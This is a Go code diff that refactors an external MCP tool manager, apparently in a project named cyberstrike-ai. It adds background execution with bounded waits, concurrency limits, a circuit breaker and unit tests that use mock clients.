@@ -603,107 +716,217 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
|
|||||||
return nil, "", fmt.Errorf("外部MCP客户端未连接: %s (状态: %s)", mcpName, status)
|
return nil, "", fmt.Errorf("外部MCP客户端未连接: %s (状态: %s)", mcpName, status)
|
||||||
}
|
}
|
||||||
|
|
||||||
// 创建执行记录
|
if m.executionService == nil {
|
||||||
executionID := uuid.New().String()
|
m.executionService = NewExecutionService(m.storage, m.logger)
|
||||||
execution := &ToolExecution{
|
m.executionService.ConfigureToolResultMaxBytes(m.toolResultMaxBytes)
|
||||||
ID: executionID,
|
m.executionService.ConfigureToolResultSpillRoot(m.spillRootDir)
|
||||||
ToolName: toolName, // 使用完整工具名称(包含MCP名称)
|
|
||||||
Arguments: args,
|
|
||||||
Status: "running",
|
|
||||||
StartTime: time.Now(),
|
|
||||||
}
|
}
|
||||||
|
var ownerUserID string
|
||||||
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||||
execution.OwnerUserID = principal.UserID
|
ownerUserID = principal.UserID
|
||||||
}
|
}
|
||||||
execution.ConversationID = MCPConversationIDFromContext(ctx)
|
handle, err := m.executionService.Submit(ctx, ExecutionRequest{
|
||||||
|
ToolName: toolName,
|
||||||
m.mu.Lock()
|
Arguments: args,
|
||||||
m.executions[executionID] = execution
|
ConversationID: MCPConversationIDFromContext(ctx),
|
||||||
// 如果内存中的执行记录超过限制,清理最旧的记录
|
OwnerUserID: ownerUserID,
|
||||||
m.cleanupOldExecutions()
|
PreRun: func(runCtx context.Context, exec *ToolExecution) (func(), error) {
|
||||||
m.mu.Unlock()
|
release, acquireErr := m.acquireExternalMCPCallSlot(runCtx, mcpName)
|
||||||
|
if acquireErr != nil {
|
||||||
if m.storage != nil {
|
return nil, acquireErr
|
||||||
if err := m.storage.SaveToolExecution(execution); err != nil {
|
}
|
||||||
m.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
|
return release, nil
|
||||||
}
|
},
|
||||||
}
|
Run: func(runCtx context.Context) (*ToolResult, error) {
|
||||||
|
result, callErr := client.CallTool(runCtx, actualToolName, args)
|
||||||
execCtx, runCancel := context.WithCancel(ctx)
|
if callErr != nil {
|
||||||
m.registerRunningCancel(executionID, runCancel)
|
m.handleConnectionDead(mcpName, client, callErr)
|
||||||
notifyToolRunBegin(ctx, executionID)
|
}
|
||||||
defer func() {
|
return result, callErr
|
||||||
notifyToolRunEnd(ctx, executionID)
|
},
|
||||||
runCancel()
|
OnDone: func(exec *ToolExecution) {
|
||||||
m.unregisterRunningCancel(executionID)
|
failed := exec != nil && exec.Status != ToolExecutionStatusCompleted && exec.Status != ToolExecutionStatusCancelled
|
||||||
}()
|
m.recordExternalMCPResult(mcpName, failed)
|
||||||
|
m.updateStats(toolName, failed)
|
||||||
// 调用工具
|
},
|
||||||
result, err := client.CallTool(execCtx, actualToolName, args)
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
m.handleConnectionDead(mcpName, client, err)
|
return nil, "", err
|
||||||
}
|
}
|
||||||
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
|
||||||
|
|
||||||
// 更新执行记录
|
m.mu.RLock()
|
||||||
|
waitTimeout := m.toolWaitTimeout
|
||||||
|
m.mu.RUnlock()
|
||||||
|
snapshot, waitErr := m.executionService.Wait(ctx, handle.ID, waitTimeout)
|
||||||
|
if errors.Is(waitErr, ErrExecutionWaitTimeout) {
|
||||||
|
return externalMCPWaitTimeoutResult(snapshot, waitTimeout), handle.ID, nil
|
||||||
|
}
|
||||||
|
if waitErr != nil {
|
||||||
|
return nil, handle.ID, waitErr
|
||||||
|
}
|
||||||
|
if snapshot == nil || snapshot.Execution == nil {
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回执行快照"}}, IsError: true}, handle.ID, nil
|
||||||
|
}
|
||||||
|
if snapshot.Execution.Result != nil {
|
||||||
|
return snapshot.Execution.Result, handle.ID, nil
|
||||||
|
}
|
||||||
|
if snapshot.Execution.Error != "" {
|
||||||
|
return nil, handle.ID, errors.New(snapshot.Execution.Error)
|
||||||
|
}
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}, IsError: false}, handle.ID, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func externalMCPWaitTimeoutResult(snapshot *ExecutionSnapshot, waitTimeout time.Duration) *ToolResult {
|
||||||
|
execID := ""
|
||||||
|
status := ToolExecutionStatusRunning
|
||||||
|
toolName := ""
|
||||||
|
elapsed := time.Duration(0)
|
||||||
|
if snapshot != nil && snapshot.Execution != nil {
|
||||||
|
execID = snapshot.Execution.ID
|
||||||
|
status = snapshot.Execution.Status
|
||||||
|
toolName = snapshot.Execution.ToolName
|
||||||
|
elapsed = time.Since(snapshot.Execution.StartTime).Round(time.Second)
|
||||||
|
}
|
||||||
|
waitText := "unbounded"
|
||||||
|
if waitTimeout > 0 {
|
||||||
|
waitText = waitTimeout.Round(time.Second).String()
|
||||||
|
}
|
||||||
|
msg := fmt.Sprintf(`工具已提交到后台执行,但本次等待已到达上限。
|
||||||
|
|
||||||
|
execution_id: %s
|
||||||
|
tool: %s
|
||||||
|
status: %s
|
||||||
|
wait_timeout: %s
|
||||||
|
elapsed: %s
|
||||||
|
|
||||||
|
你可以继续推理、改用其他工具,或调用 wait_tool_execution 继续等待该 execution_id;也可以调用 cancel_tool_execution 取消。`, execID, toolName, status, waitText, elapsed)
|
||||||
|
return &ToolResult{Content: []Content{{Type: "text", Text: msg}}, IsError: true}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) checkExternalMCPCircuit(mcpName string) error {
|
||||||
|
if m == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
name := strings.TrimSpace(mcpName)
|
||||||
|
if name == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
if m.resilience.CircuitFailureThreshold < 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
rt := m.externalMCPRuntimeLocked(name)
|
||||||
|
if rt == nil || rt.circuitOpenUntil.IsZero() {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
now := time.Now()
|
now := time.Now()
|
||||||
execution.EndTime = &now
|
if now.Before(rt.circuitOpenUntil) {
|
||||||
execution.Duration = now.Sub(execution.StartTime)
|
return fmt.Errorf("外部MCP服务 %s 已临时熔断,预计 %s 后重试", name, time.Until(rt.circuitOpenUntil).Round(time.Second))
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
st, msg := executionStatusAndMessage(err)
|
|
||||||
execution.Status = st
|
|
||||||
execution.Error = msg
|
|
||||||
} else if result != nil && result.IsError {
|
|
||||||
if cancelledWithUserNote {
|
|
||||||
execution.Status = "cancelled"
|
|
||||||
execution.Error = ""
|
|
||||||
execution.Result = result
|
|
||||||
} else {
|
|
||||||
execution.Status = "failed"
|
|
||||||
if len(result.Content) > 0 {
|
|
||||||
execution.Error = result.Content[0].Text
|
|
||||||
} else {
|
|
||||||
execution.Error = "工具执行返回错误结果"
|
|
||||||
}
|
|
||||||
execution.Result = result
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
execution.Status = "completed"
|
|
||||||
if result == nil {
|
|
||||||
result = &ToolResult{
|
|
||||||
Content: []Content{
|
|
||||||
{Type: "text", Text: "工具执行完成,但未返回结果"},
|
|
||||||
},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
execution.Result = result
|
|
||||||
}
|
}
|
||||||
|
rt.circuitOpenUntil = time.Time{}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) acquireExternalMCPCallSlot(ctx context.Context, mcpName string) (func(), error) {
|
||||||
|
if m == nil {
|
||||||
|
return func() {}, nil
|
||||||
|
}
|
||||||
|
name := strings.TrimSpace(mcpName)
|
||||||
|
m.mu.Lock()
|
||||||
|
rt := m.externalMCPRuntimeLocked(name)
|
||||||
|
serverSem := chan struct{}(nil)
|
||||||
|
if rt != nil {
|
||||||
|
serverSem = rt.semaphore
|
||||||
|
}
|
||||||
|
globalSem := m.globalSemaphore
|
||||||
m.mu.Unlock()
|
m.mu.Unlock()
|
||||||
|
|
||||||
if m.storage != nil {
|
releaseGlobal := false
|
||||||
if err := m.storage.SaveToolExecution(execution); err != nil {
|
if globalSem != nil {
|
||||||
m.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
|
select {
|
||||||
|
case globalSem <- struct{}{}:
|
||||||
|
releaseGlobal = true
|
||||||
|
case <-ctxDone(ctx):
|
||||||
|
return func() {}, contextErr(ctx)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
releaseServer := false
|
||||||
// 更新统计信息
|
if serverSem != nil {
|
||||||
failed := err != nil || (result != nil && result.IsError)
|
select {
|
||||||
m.updateStats(toolName, failed)
|
case serverSem <- struct{}{}:
|
||||||
|
releaseServer = true
|
||||||
// 如果使用存储,从内存中删除(已持久化)
|
case <-ctxDone(ctx):
|
||||||
if m.storage != nil {
|
if releaseGlobal {
|
||||||
m.mu.Lock()
|
<-globalSem
|
||||||
delete(m.executions, executionID)
|
}
|
||||||
m.mu.Unlock()
|
return func() {}, contextErr(ctx)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
return func() {
|
||||||
|
if releaseServer {
|
||||||
|
<-serverSem
|
||||||
|
}
|
||||||
|
if releaseGlobal {
|
||||||
|
<-globalSem
|
||||||
|
}
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
if err != nil {
|
func contextErr(ctx context.Context) error {
|
||||||
return nil, executionID, err
|
if ctx == nil || ctx.Err() == nil {
|
||||||
|
return context.Canceled
|
||||||
}
|
}
|
||||||
|
return ctx.Err()
|
||||||
|
}
|
||||||
|
|
||||||
return result, executionID, nil
|
func (m *ExternalMCPManager) recordExternalMCPResult(mcpName string, failed bool) {
|
||||||
|
if m == nil || strings.TrimSpace(mcpName) == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
rt := m.externalMCPRuntimeLocked(mcpName)
|
||||||
|
if rt == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !failed {
|
||||||
|
rt.consecutiveFailures = 0
|
||||||
|
rt.circuitOpenUntil = time.Time{}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if m.resilience.CircuitFailureThreshold < 0 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
rt.consecutiveFailures++
|
||||||
|
if rt.consecutiveFailures >= m.resilience.CircuitFailureThreshold {
|
||||||
|
rt.circuitOpenUntil = time.Now().Add(m.resilience.CircuitCooldown)
|
||||||
|
m.logger.Warn("外部MCP服务触发熔断",
|
||||||
|
zap.String("name", mcpName),
|
||||||
|
zap.Int("consecutiveFailures", rt.consecutiveFailures),
|
||||||
|
zap.Duration("cooldown", m.resilience.CircuitCooldown),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *ExternalMCPManager) externalMCPRuntimeLocked(mcpName string) *externalMCPServerRuntime {
|
||||||
|
if m.serverRuntimes == nil {
|
||||||
|
m.serverRuntimes = make(map[string]*externalMCPServerRuntime)
|
||||||
|
}
|
||||||
|
name := strings.TrimSpace(mcpName)
|
||||||
|
if name == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if rt := m.serverRuntimes[name]; rt != nil {
|
||||||
|
return rt
|
||||||
|
}
|
||||||
|
var sem chan struct{}
|
||||||
|
if m.resilience.MaxConcurrentPerServer > 0 {
|
||||||
|
sem = make(chan struct{}, m.resilience.MaxConcurrentPerServer)
|
||||||
|
}
|
||||||
|
rt := &externalMCPServerRuntime{semaphore: sem}
|
||||||
|
m.serverRuntimes[name] = rt
|
||||||
|
return rt
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *ExternalMCPManager) applyAbortUserNoteToCancelledToolResult(executionID string, result **ToolResult, err *error) (cancelledWithUserNote bool) {
|
func (m *ExternalMCPManager) applyAbortUserNoteToCancelledToolResult(executionID string, result **ToolResult, err *error) (cancelledWithUserNote bool) {
|
||||||
@@ -785,6 +1008,11 @@ func (m *ExternalMCPManager) cleanupOldExecutions() {
|
|||||||
|
|
||||||
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
|
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
|
||||||
func (m *ExternalMCPManager) GetExecution(id string) (*ToolExecution, bool) {
|
func (m *ExternalMCPManager) GetExecution(id string) (*ToolExecution, bool) {
|
||||||
|
if m.executionService != nil {
|
||||||
|
if snap, err := m.executionService.Get(id); err == nil && snap != nil && snap.Execution != nil {
|
||||||
|
return snap.Execution, true
|
||||||
|
}
|
||||||
|
}
|
||||||
m.mu.RLock()
|
m.mu.RLock()
|
||||||
exec, exists := m.executions[id]
|
exec, exists := m.executions[id]
|
||||||
m.mu.RUnlock()
|
m.mu.RUnlock()
|
||||||
@@ -817,6 +1045,9 @@ func (m *ExternalMCPManager) unregisterRunningCancel(id string) {
|
|||||||
|
|
||||||
// CancelToolExecutionWithNote 取消外部 MCP 工具;note 非空时与已返回输出合并后交给模型。
|
// CancelToolExecutionWithNote 取消外部 MCP 工具;note 非空时与已返回输出合并后交给模型。
|
||||||
func (m *ExternalMCPManager) CancelToolExecutionWithNote(id string, note string) bool {
|
func (m *ExternalMCPManager) CancelToolExecutionWithNote(id string, note string) bool {
|
||||||
|
if m.executionService != nil && m.executionService.Cancel(id, note) {
|
||||||
|
return true
|
||||||
|
}
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
cancel, ok := m.runningCancels[id]
|
cancel, ok := m.runningCancels[id]
|
||||||
if !ok || cancel == nil {
|
if !ok || cancel == nil {
|
||||||
@@ -844,6 +1075,11 @@ func (m *ExternalMCPManager) ActiveRunningExecutionIDs() map[string]struct{} {
|
|||||||
if m == nil {
|
if m == nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
if m.executionService != nil {
|
||||||
|
if ids := m.executionService.ActiveRunningExecutionIDs(); len(ids) > 0 {
|
||||||
|
return ids
|
||||||
|
}
|
||||||
|
}
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
defer m.mu.Unlock()
|
defer m.mu.Unlock()
|
||||||
if len(m.runningCancels) == 0 {
|
if len(m.runningCancels) == 0 {
|
||||||
@@ -1335,12 +1571,21 @@ func (m *ExternalMCPManager) StartAllEnabled() {
|
|||||||
|
|
||||||
// StopAll 停止所有客户端
|
// StopAll 停止所有客户端
|
||||||
func (m *ExternalMCPManager) StopAll() {
|
func (m *ExternalMCPManager) StopAll() {
|
||||||
|
if m.executionService != nil {
|
||||||
|
m.executionService.CancelAll("外部 MCP 管理器正在停止")
|
||||||
|
}
|
||||||
|
clients := make(map[string]ExternalMCPClient)
|
||||||
m.mu.Lock()
|
m.mu.Lock()
|
||||||
defer m.mu.Unlock()
|
|
||||||
|
|
||||||
for name, client := range m.clients {
|
for name, client := range m.clients {
|
||||||
client.Close()
|
clients[name] = client
|
||||||
delete(m.clients, name)
|
delete(m.clients, name)
|
||||||
|
}
|
||||||
|
m.mu.Unlock()
|
||||||
|
|
||||||
|
for name, client := range clients {
|
||||||
|
if client != nil {
|
||||||
|
_ = client.Close()
|
||||||
|
}
|
||||||
m.clearReconnectState(name)
|
m.clearReconnectState(name)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1360,6 +1605,6 @@ func (m *ExternalMCPManager) StopAll() {
|
|||||||
// 已经关闭,不需要再次关闭
|
// 已经关闭,不需要再次关闭
|
||||||
default:
|
default:
|
||||||
close(m.stopRefresh)
|
close(m.stopRefresh)
|
||||||
m.refreshWg.Wait()
|
|
||||||
}
|
}
|
||||||
|
m.refreshWg.Wait()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,230 @@
|
|||||||
|
package mcp
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"sync/atomic"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
type blockingExternalMCPClient struct {
|
||||||
|
started chan struct{}
|
||||||
|
calls chan string
|
||||||
|
release chan struct{}
|
||||||
|
result *ToolResult
|
||||||
|
count atomic.Int32
|
||||||
|
}
|
||||||
|
|
||||||
|
func newBlockingExternalMCPClient(resultText string) *blockingExternalMCPClient {
|
||||||
|
return &blockingExternalMCPClient{
|
||||||
|
started: make(chan struct{}),
|
||||||
|
calls: make(chan string, 8),
|
||||||
|
release: make(chan struct{}),
|
||||||
|
result: &ToolResult{Content: []Content{{Type: "text", Text: resultText}}},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *blockingExternalMCPClient) Initialize(ctx context.Context) error { return nil }
|
||||||
|
func (c *blockingExternalMCPClient) ListTools(ctx context.Context) ([]Tool, error) {
|
||||||
|
return []Tool{{Name: "slow_tool"}}, nil
|
||||||
|
}
|
||||||
|
func (c *blockingExternalMCPClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
|
||||||
|
c.count.Add(1)
|
||||||
|
select {
|
||||||
|
case c.calls <- name:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-c.started:
|
||||||
|
default:
|
||||||
|
close(c.started)
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-c.release:
|
||||||
|
return c.result, nil
|
||||||
|
case <-ctx.Done():
|
||||||
|
return nil, ctx.Err()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
func (c *blockingExternalMCPClient) Close() error { return nil }
|
||||||
|
func (c *blockingExternalMCPClient) IsConnected() bool { return true }
|
||||||
|
func (c *blockingExternalMCPClient) GetStatus() string { return "connected" }
|
||||||
|
|
||||||
|
type failingExternalMCPClient struct{}
|
||||||
|
|
||||||
|
func (c *failingExternalMCPClient) Initialize(ctx context.Context) error { return nil }
|
||||||
|
func (c *failingExternalMCPClient) ListTools(ctx context.Context) ([]Tool, error) {
|
||||||
|
return []Tool{{Name: "fail_tool"}}, nil
|
||||||
|
}
|
||||||
|
func (c *failingExternalMCPClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
|
||||||
|
return nil, errors.New("boom")
|
||||||
|
}
|
||||||
|
func (c *failingExternalMCPClient) Close() error { return nil }
|
||||||
|
func (c *failingExternalMCPClient) IsConnected() bool { return true }
|
||||||
|
func (c *failingExternalMCPClient) GetStatus() string { return "connected" }
|
||||||
|
|
||||||
|
func TestExternalMCPManager_CallToolBoundedWaitThenContinue(t *testing.T) {
|
||||||
|
manager := NewExternalMCPManager(zap.NewNop())
|
||||||
|
manager.ConfigureToolWaitTimeoutSeconds(1)
|
||||||
|
manager.toolWaitTimeout = 10 * time.Millisecond
|
||||||
|
client := newBlockingExternalMCPClient("slow result ready")
|
||||||
|
manager.clients["lab"] = client
|
||||||
|
|
||||||
|
callCtx, callCancel := context.WithCancel(context.Background())
|
||||||
|
result, executionID, err := manager.CallTool(callCtx, "lab::slow_tool", map[string]interface{}{"target": "example"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CallTool returned error: %v", err)
|
||||||
|
}
|
||||||
|
if executionID == "" {
|
||||||
|
t.Fatal("expected execution id")
|
||||||
|
}
|
||||||
|
if result == nil || !result.IsError {
|
||||||
|
t.Fatalf("expected soft timeout tool result, got %#v", result)
|
||||||
|
}
|
||||||
|
text := ToolResultPlainText(result)
|
||||||
|
if !strings.Contains(text, executionID) || !strings.Contains(text, "wait_tool_execution") {
|
||||||
|
t.Fatalf("timeout result should include execution id and wait guidance, got %q", text)
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-client.started:
|
||||||
|
default:
|
||||||
|
t.Fatal("worker did not start")
|
||||||
|
}
|
||||||
|
callCancel()
|
||||||
|
close(client.release)
|
||||||
|
|
||||||
|
snapshot, err := manager.executionService.Wait(context.Background(), executionID, time.Second)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Wait returned error: %v", err)
|
||||||
|
}
|
||||||
|
if snapshot == nil || snapshot.Execution == nil {
|
||||||
|
t.Fatal("expected execution snapshot")
|
||||||
|
}
|
||||||
|
if snapshot.Execution.Status != ToolExecutionStatusCompleted {
|
||||||
|
t.Fatalf("status = %q, want completed", snapshot.Execution.Status)
|
||||||
|
}
|
||||||
|
if got := ToolResultPlainText(snapshot.Execution.Result); got != "slow result ready" {
|
||||||
|
t.Fatalf("result = %q, want slow result ready", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExecutionControlWaitToolReturnsCompletedResult(t *testing.T) {
|
||||||
|
manager := NewExternalMCPManager(zap.NewNop())
|
||||||
|
manager.toolWaitTimeout = 10 * time.Millisecond
|
||||||
|
client := newBlockingExternalMCPClient("control wait result")
|
||||||
|
manager.clients["lab"] = client
|
||||||
|
|
||||||
|
result, executionID, err := manager.CallTool(context.Background(), "lab::slow_tool", nil)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CallTool returned error: %v", err)
|
||||||
|
}
|
||||||
|
if result == nil || !result.IsError || executionID == "" {
|
||||||
|
t.Fatalf("expected soft timeout and execution id, got result=%#v id=%q", result, executionID)
|
||||||
|
}
|
||||||
|
|
||||||
|
server := NewServer(zap.NewNop())
|
||||||
|
RegisterExecutionControlTools(server, manager)
|
||||||
|
close(client.release)
|
||||||
|
|
||||||
|
waitResult, _, err := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
|
||||||
|
"execution_id": executionID,
|
||||||
|
"timeout_seconds": 1,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("wait_tool_execution returned error: %v", err)
|
||||||
|
}
|
||||||
|
if waitResult == nil || waitResult.IsError {
|
||||||
|
t.Fatalf("expected successful wait result, got %#v", waitResult)
|
||||||
|
}
|
||||||
|
body := ToolResultPlainText(waitResult)
|
||||||
|
if !strings.Contains(body, `"status": "completed"`) || !strings.Contains(body, "control wait result") {
|
||||||
|
t.Fatalf("wait result body missing completed status/result: %s", body)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExternalMCPManager_PerServerConcurrencyLimitsWorkers(t *testing.T) {
|
||||||
|
manager := NewExternalMCPManager(zap.NewNop())
|
||||||
|
manager.toolWaitTimeout = 10 * time.Millisecond
|
||||||
|
manager.ConfigureResilience(ExternalMCPResilienceConfig{
|
||||||
|
MaxConcurrentPerServer: 1,
|
||||||
|
MaxConcurrentTotal: 4,
|
||||||
|
CircuitFailureThreshold: -1,
|
||||||
|
CircuitCooldown: time.Second,
|
||||||
|
})
|
||||||
|
client := newBlockingExternalMCPClient("ok")
|
||||||
|
manager.clients["lab"] = client
|
||||||
|
|
||||||
|
done1 := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
_, _, _ = manager.CallTool(context.Background(), "lab::slow_tool", nil)
|
||||||
|
close(done1)
|
||||||
|
}()
|
||||||
|
select {
|
||||||
|
case <-client.calls:
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("first worker did not enter client")
|
||||||
|
}
|
||||||
|
|
||||||
|
type callOutcome struct {
|
||||||
|
executionID string
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
done2 := make(chan callOutcome, 1)
|
||||||
|
go func() {
|
||||||
|
_, executionID, err := manager.CallTool(context.Background(), "lab::slow_tool", nil)
|
||||||
|
done2 <- callOutcome{executionID: executionID, err: err}
|
||||||
|
}()
|
||||||
|
select {
|
||||||
|
case <-client.calls:
|
||||||
|
t.Fatal("second worker entered client before per-server slot was released")
|
||||||
|
case <-time.After(50 * time.Millisecond):
|
||||||
|
}
|
||||||
|
var second callOutcome
|
||||||
|
select {
|
||||||
|
case second = <-done2:
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("second call did not return after bounded wait")
|
||||||
|
}
|
||||||
|
if second.err != nil || second.executionID == "" {
|
||||||
|
t.Fatalf("second call should return queued execution id after bounded wait, id=%q err=%v", second.executionID, second.err)
|
||||||
|
}
|
||||||
|
snapshot, err := manager.executionService.Get(second.executionID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Get queued execution: %v", err)
|
||||||
|
}
|
||||||
|
if snapshot == nil || snapshot.Execution == nil || snapshot.Execution.Status != ToolExecutionStatusQueued {
|
||||||
|
t.Fatalf("second execution status = %#v, want queued", snapshot)
|
||||||
|
}
|
||||||
|
close(client.release)
|
||||||
|
select {
|
||||||
|
case <-client.calls:
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("second worker did not enter client after slot release")
|
||||||
|
}
|
||||||
|
<-done1
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestExternalMCPManager_CircuitBreakerOpensAfterFailures(t *testing.T) {
|
||||||
|
manager := NewExternalMCPManager(zap.NewNop())
|
||||||
|
manager.ConfigureResilience(ExternalMCPResilienceConfig{
|
||||||
|
MaxConcurrentPerServer: 2,
|
||||||
|
MaxConcurrentTotal: 4,
|
||||||
|
CircuitFailureThreshold: 1,
|
||||||
|
CircuitCooldown: time.Minute,
|
||||||
|
})
|
||||||
|
manager.clients["lab"] = &failingExternalMCPClient{}
|
||||||
|
|
||||||
|
_, _, err := manager.CallTool(context.Background(), "lab::fail_tool", nil)
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "boom") {
|
||||||
|
t.Fatalf("expected first call to fail with client error, got %v", err)
|
||||||
|
}
|
||||||
|
_, _, err = manager.CallTool(context.Background(), "lab::fail_tool", nil)
|
||||||
|
if err == nil || !strings.Contains(err.Error(), "熔断") {
|
||||||
|
t.Fatalf("expected circuit breaker rejection, got %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -22,6 +22,8 @@ type EinoExecuteRunRegistry interface {
|
|||||||
type toolRunRegistryCtxKey struct{}
|
type toolRunRegistryCtxKey struct{}
|
||||||
type einoExecuteRunRegistryCtxKey struct{}
|
type einoExecuteRunRegistryCtxKey struct{}
|
||||||
type mcpConversationIDCtxKey struct{}
|
type mcpConversationIDCtxKey struct{}
|
||||||
|
type mcpExecutionIDCtxKey struct{}
|
||||||
|
type mcpProjectIDCtxKey struct{}
|
||||||
|
|
||||||
// WithToolRunRegistry 将登记器注入 ctx(Eino / 原生 Agent 任务 ctx)。
|
// WithToolRunRegistry 将登记器注入 ctx(Eino / 原生 Agent 任务 ctx)。
|
||||||
func WithToolRunRegistry(ctx context.Context, reg ToolRunRegistry) context.Context {
|
func WithToolRunRegistry(ctx context.Context, reg ToolRunRegistry) context.Context {
|
||||||
@@ -78,6 +80,48 @@ func MCPConversationIDFromContext(ctx context.Context) string {
|
|||||||
return v
|
return v
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// WithMCPExecutionID 将当前工具 executionId 注入 ctx,供超长输出落盘文件名对齐。
|
||||||
|
func WithMCPExecutionID(ctx context.Context, executionID string) context.Context {
|
||||||
|
if ctx == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
id := strings.TrimSpace(executionID)
|
||||||
|
if id == "" {
|
||||||
|
return ctx
|
||||||
|
}
|
||||||
|
return context.WithValue(ctx, mcpExecutionIDCtxKey{}, id)
|
||||||
|
}
|
||||||
|
|
||||||
|
// MCPExecutionIDFromContext 读取当前工具 executionId。
|
||||||
|
func MCPExecutionIDFromContext(ctx context.Context) string {
|
||||||
|
if ctx == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
v, _ := ctx.Value(mcpExecutionIDCtxKey{}).(string)
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
|
||||||
|
// WithMCPProjectID 将项目 ID 注入 ctx,供 reduction/trunc 落盘路径与项目隔离对齐。
|
||||||
|
func WithMCPProjectID(ctx context.Context, projectID string) context.Context {
|
||||||
|
if ctx == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
id := strings.TrimSpace(projectID)
|
||||||
|
if id == "" {
|
||||||
|
return ctx
|
||||||
|
}
|
||||||
|
return context.WithValue(ctx, mcpProjectIDCtxKey{}, id)
|
||||||
|
}
|
||||||
|
|
||||||
|
// MCPProjectIDFromContext 读取项目 ID。
|
||||||
|
func MCPProjectIDFromContext(ctx context.Context) string {
|
||||||
|
if ctx == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
v, _ := ctx.Value(mcpProjectIDCtxKey{}).(string)
|
||||||
|
return v
|
||||||
|
}
|
||||||
|
|
||||||
func notifyToolRunBegin(ctx context.Context, executionID string) {
|
func notifyToolRunBegin(ctx context.Context, executionID string) {
|
||||||
reg := ToolRunRegistryFromContext(ctx)
|
reg := ToolRunRegistryFromContext(ctx)
|
||||||
if reg == nil {
|
if reg == nil {
|
||||||
|
|||||||
+195
-99
@@ -15,6 +15,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"cyberstrike-ai/internal/authctx"
|
"cyberstrike-ai/internal/authctx"
|
||||||
|
"cyberstrike-ai/internal/mcp/builtin"
|
||||||
|
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
@@ -52,8 +53,14 @@ type Server struct {
|
|||||||
httpToolTimeoutMinutes *int
|
httpToolTimeoutMinutes *int
|
||||||
httpToolTimeoutMu sync.RWMutex
|
